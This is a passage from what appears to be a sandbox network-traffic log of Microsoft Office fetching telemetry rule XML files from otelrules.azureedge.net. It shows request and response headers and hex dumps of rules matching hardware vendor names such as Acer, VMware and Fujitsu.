22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.9	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:58 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:58 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:58 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091958Z-185f5d8b95ckwnflhC1NYCx9qs0000000a1000000000ctsr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:58 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.9	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:58 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:58 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 4a7db69e-a01e-0084-45ec-3a9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091958Z-185f5d8b95cgrrn8hC1NYCgwh400000009y0000000004bsd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:58 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.9	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:58 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:58 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091958Z-185f5d8b95cx9g8lhC1NYCtgvc00000002f00000000026fm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:58 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.9	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:58 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:58 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091958Z-r1d97b995778dpcthC1TEB4b5400000008fg00000000avhq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:58 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.9	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:58 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:58 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091958Z-185f5d8b95c9mqtvhC1NYCghtc0000000a6g0000000003vf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:58 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.9	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:59 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:59 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091959Z-r1d97b995774zjnrhC1TEBv1ww00000008ng000000005p35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:59 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.9	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:59 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:59 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091959Z-1777c6cb754rz2pghC1TEBghen00000009cg000000000v79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:59 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.9	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:59 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:59 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091959Z-1777c6cb754whff4hC1TEBcd6c00000007y000000000f0k4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:59 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.9	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:59 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:59 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091959Z-r1d97b9957789nh9hC1TEBxha800000008s000000000994d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:59 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.9	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:59 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:59 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091959Z-1777c6cb754dqb2khC1TEBmk1s00000009c00000000065u3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:59 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.9	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:00 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092000Z-185f5d8b95cwtv72hC1NYC141w0000000a0g000000002wh7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:00 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.9	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:00 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092000Z-185f5d8b95c4bhwphC1NYCs8gw0000000a4000000000an0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
